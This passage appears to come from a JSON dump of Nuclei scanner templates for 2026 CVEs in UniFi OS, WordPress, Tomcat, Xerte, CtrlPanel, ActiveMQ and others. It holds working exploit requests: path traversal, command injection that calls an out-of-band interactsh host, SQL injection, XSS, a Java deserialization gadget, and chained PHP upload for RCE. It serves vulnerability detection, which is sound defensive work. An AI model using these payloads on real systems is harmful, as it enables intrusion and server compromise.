/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+nslookup+{{interactsh-url}}+%3b HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body , \"CODE_SYSTEM_ERROR\", \"System failure\")'\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100cd78e8258bfb87968a9f101f3ce686e48b62ea2d72fd98a74c97ad6f40d055cf022071c5a70125b2b64dc51cf69ce819f5dfa6d7891823826f349609062f59b7974e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-34910.yaml","vuln_id":"cve-2026-34910"},{"raw":"id: CVE-2026-34908\n\ninfo:\n  name: UniFi OS - Authentication Bypass via Path Traversal (..%2f)\n  author: Boreas37\n  severity: critical\n  description: |\n    UniFi OS devices contain an improper access control vulnerability caused by insufficient authorization checks, letting network attackers make unauthorized system changes, exploit requires network access.\n  impact: |\n    Attackers can make unauthorized changes to the system, potentially compromising device integrity and security.\n  remediation: |\n    Update to the latest version of UniFi OS.\n  reference:\n    - https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908\n    - https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34908\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-34908\n    epss-score: 0.88899\n    epss-percentile: 0.99779\n    cwe-id: CWE-284\n  metadata:\n    max-request: 3\n    verified: true\n    shodan-query: 'http.title:\"UniFi OS\"'\n    fofa-query: 'title=\"UniFi OS\"'\n  tags: cve,cve2026,unifi,ubiquiti,auth-bypass,traversal,kev,unauth,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains_any(to_lower(body), 'unifi', 'ubiquiti', 'ubnt')\"\n        internal: true\n\n  - raw:\n      - |\n        GET /proxy/users/api/v2/ucs/update/latest_package HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 401 || status_code == 403\"\n        internal: true\n\n  - raw:\n      - |\n        GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, 'pkg_name required', 'CODE_SYSTEM_ERROR')\"\n        condition: and\n# digest: 4a0a00473045022100c04bf062b13504d49a3836272877c4b4f14fda0e1ea9e0a22e7ca85c0137038e022057557e6277c62f02dfe399562e112e3cea4aa2b89d11691594baf38ba77f4f72:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-34908.yaml","vuln_id":"cve-2026-34908"},{"raw":"id: CVE-2026-34885\n\ninfo:\n  name: WordPress Media Library Assistant <= 3.34 - SQL Injection\n  author: theamanrawat\n  severity: high\n  description: |\n    David Lingren Media Library Assistant <= 3.34 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n  impact: |\n    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or deletion.\n  remediation: |\n    Update to the latest version beyond 3.34.\n  reference:\n    - https://patchstack.com/database/vulnerability/wordpress-media-library-assistant-plugin-3-34-sql-injection-vulnerability\n    - https://plugins.svn.wordpress.org/media-library-assistant/tags/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34885\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 8.5\n    cve-id: CVE-2026-34885\n    epss-score: 0.01668\n    epss-percentile: 0.76833\n    cwe-id: CWE-89\n  metadata:\n    max-request: 5\n    verified: true\n    shodan-query: http.html:\"/wp-content/plugins/media-library-assistant/\"\n    fofa-query: body=\"/wp-content/plugins/media-library-assistant/\"\n  tags: cve,cve2026,wp,wordpress,wp-plugin,sqli,media-library-assistant,authenticated\n\nvariables:\n  num: \"999999999\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/media-library-assistant/readme.txt\"\n\n    matchers:\n      - type: word\n        words:\n          - \"Media Library Assistant\"\n          - \"Stable tag:\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(header, \"wordpress_logged_in\")\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        group: 0\n        regex:\n          - \"^[a-f0-9]{10}$\"\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/wp/v2/posts HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        X-WP-Nonce: {{nonce}}\n\n        {\"title\":\"{{rand_text_alpha(10)}}\",\"content\":\"[mla_custom_list meta_key=\\\"_wp_attached_file\\\" fields=\\\"(SELECT CONCAT(0x7170787871,md5({{num}}),0x7171787171)) AS meta_value\\\" no_count=\\\"true\\\"]\",\"status\":\"draft\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n          - 'contains_all(body, \"{{md5(num)}}\", \"content\", \"rendered\")'\n        condition: and\n# digest: 4b0a004830460221009304798a17f46b55222db949b0dc2327b10220ee7f8a922bea0e9d6bbb2ae6d7022100ab8b0cf2c4f59ddd96cc7827e34ee0c062360557b148806f22da9f0cbcbb1924:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-34885.yaml","vuln_id":"cve-2026-34885"},{"raw":"id: CVE-2026-34847\n\ninfo:\n  name: Hoppscotch <= 2026.2.1 - Open Redirect\n  author: ritikchaddha\n  severity: medium\n  description: |\n    Hoppscotch <= 2026.2.1 is vulnerable to a DOM-based open redirect on the /enter page. The redirect query parameter is passed directly to windowz location.href with no origin validation. Requires one additional query parameter to trigger. Exploited via a crafted URL such as /enter?redirect=evil.com&foo=bar.\n  impact: |\n    Phishing, credential theft, and OAuth token interception. Victims who click a crafted link see the legitimate Hoppscotch domain in the address bar before being silently redirected to an attacker-controlled site.\n  remediation: |\n    Upgrade to Hoppscotch 2026.3.0 or later. The fix validates that the redirect URL is same-origin before performing the navigation.\n  reference:\n    - https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-27pm-c9ch-746q\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34847\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N\n    cvss-score: 4.7\n    cve-id: CVE-2026-34847\n    epss-score: 0.00401\n    epss-percentile: 0.34565\n    cwe-id: CWE-601\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: hoppscotch\n    product: hoppscotch\n    shodan-query: http.title:\"Hoppscotch\"\n    fofa-query: title=\"Hoppscotch\"\n  tags: cve,cve2026,hoppscotch,redirect\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/enter?redirect=oast.me&foo=bar\"\n\n    matchers:\n      - type: regex\n        part: header\n        regex:\n          - '(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me\\/?(\\/|[^.].*)?$'\n# digest: 4a0a00473045022100b739495e2f74c9193fbc4060cc8d3f40d2873c625fdf03a13639de0f9fb7b6980220180bb304e04767d698ad2126c27370ed8c53908e368f6111a153ccb77f0999a8:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-34847.yaml","vuln_id":"cve-2026-34847"},{"raw":"id: CVE-2026-34605\n\ninfo:\n  name: SiYuan Note - Cross-Site Scripting\n  author: ritikchaddha\n  severity: medium\n  description: |\n    SiYuan Note through version 3.6.1 is vulnerable to unauthenticated reflected Cross-Site Scripting (XSS) in the `/api/icon/getDynamicIcon` endpoint due to improper filtering of SVG elements with a namespace prefix (such as `<x:script>`). By using a namespaced script element, attackers can bypass the `SanitizeSVG` function and execute arbitrary JavaScript in the victim’s browser upon visiting a crafted link.\n  remediation: |\n    Upgrade to SiYuan Note version 3.6.2 or later, where the namespace prefix is stripped prior to sanitization, blocking this form of XSS.\n  impact: |\n    Exploitation allows attackers to execute JavaScript in the context of the SiYuan Note instance, enabling unauthorized access to sensitive data, API calls with the victim's privileges, and potential data extraction or modification, if the victim is an authenticated user.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-73g7-86qr-jrg3\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34605\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-34605\n    epss-score: 0.00469\n    epss-percentile: 0.40706\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: siyuan-note\n    product: siyuan\n    shodan-query: http.favicon.hash:-1450125239\n  tags: cve,cve2026,siyuan,xss,svg\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Ealert%28document.domain%29%3C%2Fx%3Ascript%3E%3Ctext%3E\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '</text><x:script xmlns:x=\"http://www.w3.org/2000/svg\">alert(document.domain)</x:script><text>'\n          - 'id=\"dynamic_icon_type8'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"image/svg+xml\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a0048304602210080030d5f01245f44a554b54613481fa7bbde81a68a489626aeb2c69b0b51e76e0221008d126fb309d71eb6a583a4382df03d89536d6aff2ac6459e1e4835933b313113:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-34605.yaml","vuln_id":"cve-2026-34605"},{"raw":"id: CVE-2026-34486\n\ninfo:\n  name: Apache Tomcat Tribes EncryptInterceptor Bypass - Remote Code Execution\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Missing Encryption of Sensitive Data vulnerability in Apache Tomcat due to the fix for CVE-2026-29146 allowing the bypass of the EncryptInterceptor. This issue affects Apache Tomcat: 11.0.20, 10.1.53, 9.0.116.\n  impact: |\n    An unauthenticated attacker can achieve remote code execution by sending an unencrypted serialized Java object to the Tribes cluster receiver port.\n  remediation: |\n    Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.\n  reference:\n    - https://striga.ai/research/tomcat-tribes-unauth-rce\n    - https://github.com/striga-ai/CVE-2026-34486\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34486\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-34486\n    epss-score: 0.98503\n    epss-percentile: 0.99919\n    cwe-id: CWE-502\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: apache\n    product: tomcat\n    shodan-query: product:\"Apache Tomcat Tribes\"\n  tags: cve,cve2026,network,apache,tomcat,rce,deserialization,oast,oob,vkev,kev\n\njavascript:\n  - pre-condition: |\n      const hp = Hostname.split(':');\n      isPortOpen(hp[0], hp[1] ? parseInt(hp[1]) : 4000)\n\n    code: |\n      const net = require('nuclei/net');\n\n      // Port-flexible: the target port is taken from the -u host:port value\n      // (Hostname includes it); falls back to the Tribes default 4000.\n      const hp = Hostname.split(':');\n      const Host = hp[0];\n      const Port = hp[1] ? parseInt(hp[1]) : 4000;\n\n      const address = Host + ':' + Port;\n      const hostname = interactsh_url;\n\n      const GADGET_PREFIX = 'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff';\n      const GADGET_SUFFIX = '74000071007e0005740004687474707078740003706f6378';\n\n      let hostnameHex = '';\n      for (let i = 0; i < hostname.length; i++) {\n        hostnameHex += hostname.charCodeAt(i).toString(16).padStart(2, '0');\n      }\n\n      const lenHex = hostname.length.toString(16).padStart(4, '0');\n      const gadgetHex = GADGET_PREFIX + '74' + lenHex + hostnameHex + GADGET_SUFFIX;\n      const gadgetByteLen = gadgetHex.length / 2;\n\n      const MEMBER_HEX = '5452494245532d42'       // \"TRIBES-B\"\n        + '01'                                      // version\n        + '00'                                      // padding\n        + '00000035'                                // body length (53)\n        + '000000e8d4a51000'                        // memberAliveTime\n        + '00000fa1'                                // tcpListenPort (4001)\n        + '00000000'                                // udpListenPort\n        + '00000000'                                // securePort\n        + '04'                                      // host length\n        + '7f000001'                                // 127.0.0.1\n        + '00000000'                                // commandLength\n        + '00000000'                                // domainLength\n        + '01010101010101010101010101010101'        // uniqueId (16 bytes)\n        + '00000000'                                // payloadLength\n        + '5452494245532d45'                        // \"TRIBES-E\"\n        + '01'                                      // version\n        + '00';                                     // padding\n\n      const OPTIONS = '00000000';\n      const TIMESTAMP = '000000e8d4a51000';\n      const UID_LEN = '00000010';\n      const UID = 'dddddddddddddddddddddddddddddddd';\n      const MEMBER_LEN = '0000004d';\n\n      const serializedLenHex = gadgetByteLen.toString(16).padStart(8, '0');\n\n      const channelData = OPTIONS + TIMESTAMP + UID_LEN + UID + MEMBER_LEN + MEMBER_HEX\n        + serializedLenHex + gadgetHex;\n\n      const channelDataByteLen = channelData.length / 2;\n      const outerLenHex = channelDataByteLen.toString(16).padStart(8, '0');\n\n      const FLT2002 = '464c5432303032';\n      const TLF2003 = '544c4632303033';\n      const packet = FLT2002 + outerLenHex + channelData + TLF2003;\n\n      let conn;\n      try {\n        conn = net.Open('tcp', address);\n        conn.SendHex(packet);\n        conn.RecvString(10);\n      } catch (e) {}\n\n      if (conn) conn.Close();\n\n      Export('payload_sent');\n\n    args:\n      Hostname: \"{{Hostname}}\"\n      interactsh_url: \"{{interactsh-url}}\"\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n# digest: 4b0a00483046022100a31aa659ae59bf54df4d125247fc694379efc34f6a1f14d2a614edba118f5373022100c32220549d80d2919f61ebab01829bc1f2f857c518936fac98a685f87ebd336d:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-34486.yaml","vuln_id":"cve-2026-34486"},{"raw":"id: CVE-2026-34453\n\ninfo:\n  name: SiYuan <= v3.6.1 - Bookmark Data Disclosure\n  author: 0x_Akoko\n  severity: high\n  description: |\n   SiYuan v3.6.2 contains an information disclosure vulnerability caused by improper authorization checks in the publish service's bookmark filtering, letting unauthenticated visitors access bookmarked blocks from password-protected documents, exploit requires access to the publish service.\n  impact: |\n   Unauthenticated attackers can access content from protected documents without a password, exposing sensitive information\n  remediation: |\n   Update to version 3.6.2 or later.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34453\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-34453\n    epss-score: 0.01227\n    epss-percentile: 0.68935\n    cwe-id: CWE-863\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: siyuan-note\n    product: siyuan\n    shodan-query: http.favicon.hash:-1450125239\n  tags: cve,cve2026,siyuan,unauth,disclosure,bac\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/api/system/version\"\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'status_code == 200'\n          - 'compare_versions(ver, \">= 0.0.1\", \"<= 3.6.1\")'\n        condition: and\n\n    extractors:\n      - type: json\n        name: ver\n        internal: true\n        json:\n          - '.data'\n\n  - raw:\n      - |\n        POST /api/bookmark/getBookmark HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"code\":0'\n          - '\"type\":\"bookmark\"'\n          - '\"blocks\"'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502201efdc2d9a1c4cfdeb8314275abeed71416849f3ee1de2f3b0e7e20a6e6c19ed7022100bafe70d7e8eed7f7e4da2b81052c31a366961e083f802ba86bc09b4dd65c7d3d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-34453.yaml","vuln_id":"cve-2026-34453"},{"raw":"id: CVE-2026-34413\n\ninfo:\n  name: Xerte Online Toolkits <= 3.15 - Remote Code Execution\n  author: Aryu-RU\n  severity: critical\n  description: |\n    Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution.\n  impact: |\n    An unauthenticated attacker can execute arbitrary PHP code on the server hosting Xerte Online Toolkits.\n  remediation: |\n    Update to a fixed release. The fix, which adds exit() after the access-control redirect and sanitizes elFinder file names, was backported to the 3.13, 3.14 and 3.15 branches.\n  reference:\n    - https://www.vulncheck.com/advisories/xerte-online-toolkits-missing-authentication-via-connector-php\n    - https://github.com/bootstrapbool/xerteonlinetoolkits-rce\n    - https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34413\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34414\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34415\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-34413\n    epss-score: 0.0311\n    epss-percentile: 0.87829\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    vendor: xerte\n    product: xerte_online_toolkits\n    shodan-query: http.title:\"Xerte Online Toolkits\"\n    fofa-query: title=\"Xerte Online Toolkits\"\n  tags: cve,cve2026,xerte,elfinder,rce,unauth,intrusive,file-upload\n\nvariables:\n  num: \"999999999\"\n  rand: \"{{rand_text_alpha(8)}}\"\n\nflow: |\n  http(1);\n  if (template[\"webroot\"]) {\n    http(2);\n    if (template[\"authbypass\"]) {\n      for (let pid = 1; pid <= 30; pid++) {\n        set(\"pid\", pid);\n        http(3);\n        http(4);\n        http(5);\n        if (http(6)) {\n          break;\n        }\n      }\n    }\n  }\n\nhttp:\n  - raw:\n      - |\n        GET /setup/ HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: webroot\n        part: body\n        group: 1\n        regex:\n          - '<code>([^<]+)</code>'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Welcome to Xerte Online Toolkits Installer\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /editor/elfinder/php/connector.php HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: authbypass\n        part: body\n        regex:\n          - \"Invalid upload location\"\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains(body, \"Invalid upload location\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=mkdir&name={{rand}}{{pid}}&target=l1_Lw HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains_all(body, \"added\", \"hash\", \"name\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----xerteboundary\n\n        ------xerteboundary\n        Content-Disposition: form-data; name=\"cmd\"\n\n        upload\n        ------xerteboundary\n        Content-Disposition: form-data; name=\"target\"\n\n        l1_Lw\n        ------xerteboundary\n        Content-Disposition: form-data; name=\"upload[]\"; filename=\"{{rand}}{{pid}}.txt\"\n        Content-Type: text/plain\n\n        <br><?php echo md5(\"{{num}}\"); unlink(__FILE__); ?>\n        ------xerteboundary--\n\n    extractors:\n      - type: regex\n        name: fileid\n        part: body\n        group: 1\n        regex:\n          - '\"hash\":\"(l1_[^\"]+)\"'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains_all(body, \"added\", \"hash\", \"name\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=rename&target={{fileid}}&name={{rand}}{{pid}}/../../../../{{rand}}{{pid}}.php4 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        GET /{{rand}}{{pid}}.php4 HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"c8c605999f3d8352d7bb792cf3fdb25b\")'\n        condition: and\n# digest: 4a0a004730450220700628bcdc90bda02ff1a529efa2697f5c56f895d1cf680da06b7f657dcd33ed022100ee1abc24d4de99b6398f970960f55dc3496b655420eaa4ec3427b009c9402b14:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-34413.yaml","vuln_id":"cve-2026-34413"},{"raw":"id: CVE-2026-34234\n\ninfo:\n  name: CtrlPanel <= 1.1.1 - Remote Code Execution\n  author: ritikchaddha\n  severity: critical\n  description: |\n    CtrlPanel versions <= 1.1.1 are vulnerable to unauthenticated Remote Code Execution (RCE) via the web installer endpoint (public/installer/index.php). The installer loaded and executed form handler files before checking for the install.lock gate, allowing attackers to reach installer forms on fully-deployed instances. User-supplied POST values (url, key, clientkey) from the Pterodactyl configuration form were interpolated directly into shell command strings executed via bash -c without sanitization, enabling command injection. The vulnerability is confirmed actively exploited in the wild.\n  impact: |\n    Unauthenticated attackers can execute arbitrary OS commands with web server process privileges on any CtrlPanel instance where /installer/index.php is accessible. Consequences include full server compromise, extraction of .env database credentials and application secrets, persistent backdoor installation, and lateral movement.\n  remediation: |\n    Update to CtrlPanel v1.2.0 or later. The patch moves the install.lock check to the top of index.php before any form files are loaded, and replaces string-based proc_open() calls with array-style argument lists to prevent shell injection. As an immediate mitigation, deny web server access to the /installer/ directory.\n  reference:\n    - https://github.com/Ctrlpanel-gg/panel/security/advisories/GHSA-jmhr-q9q5-fqwh\n    - https://github.com/rootdirective-sec/CVE-2026-34234-Lab\n    - https://github.com/Ctrlpanel-gg/panel/releases/tag/1.2.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34234\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-34234\n    epss-score: 0.03243\n    epss-percentile: 0.88341\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ctrlpanel-gg\n    product: ctrlpanel\n    shodan-query: title:\"CtrlPanel\" http.html:\"ctrlpanel\"\n    fofa-query: title=\"CtrlPanel\"\n  tags: cve,cve2026,ctrlpanel,rce,oast,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /installer/index.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'installation')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /installer/index.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        checkPtero=1&url=http%3A%2F%2F{{interactsh-url}}&key=asdasdasda%27%27+%26%26+bash+-c+%27nslookup+{{interactsh-url}}%27&clientkey=asdasdasd\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n# digest: 4b0a00483046022100c84386d9b0133fe88d52ca9aea460dd796f5d3538faf3c64a03ae552d1bf29d0022100d700f8c22080c7d6c322c0893f656b24e98e4fb91f3f2aead006ec25d41caab9:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-34234.yaml","vuln_id":"cve-2026-34234"},{"raw":"id: CVE-2026-34197\n\ninfo:\n  name: Apache ActiveMQ - Remote Code Execution\n  author: DhiyaneshDk,horizon3\n  severity: critical\n  description: |\n    Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: . Users are recommended to upgrade to version 5.19.5 or 6.2.3, which fixes the issue.\n  impact: |\n    Authenticated attackers can execute arbitrary code on the broker JVM, potentially leading to full system compromise.\n  remediation: |\n    Upgrade to version 5.19.5 or 6.2.3 or later.\n  reference:\n    - https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/\n    - https://activemq.apache.org/security-advisories\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34197\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-34197\n    epss-score: 0.98256\n    epss-percentile: 0.99916\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: apache\n    product: activemq\n    shodan-query: title:\"ActiveMQ\" port:8161\n    fofa-query: title=\"ActiveMQ\" && port=\"8161\"\n  tags: cve,cve2026,activemq,jolokia,rce,oast,java,oob,kev,vkev\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n  string: \"{{to_lower(rand_text_alpha(6))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/jolokia/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Origin: {{RootURL}}\n\n        [{\"type\":\"exec\",\"mbean\":\"org.apache.activemq:type=Broker,brokerName=localhost\",\"operation\":\"removeNetworkConnector\",\"arguments\":[\"NC\"]},{\"type\":\"exec\",\"mbean\":\"org.apache.activemq:type=Broker,brokerName=localhost\",\"operation\":\"addNetworkConnector\",\"arguments\":[\"static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)\"]}]\n\n      - |\n        POST /api/jolokia/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Origin: {{RootURL}}\n        Authorization: Basic YWRtaW46YWRtaW4=\n\n        [{\"type\":\"exec\",\"mbean\":\"org.apache.activemq:type=Broker,brokerName=localhost\",\"operation\":\"removeNetworkConnector\",\"arguments\":[\"NC\"]},{\"type\":\"exec\",\"mbean\":\"org.apache.activemq:type=Broker,brokerName=localhost\",\"operation\":\"addNetworkConnector\",\"arguments\":[\"static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)\"]}]\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    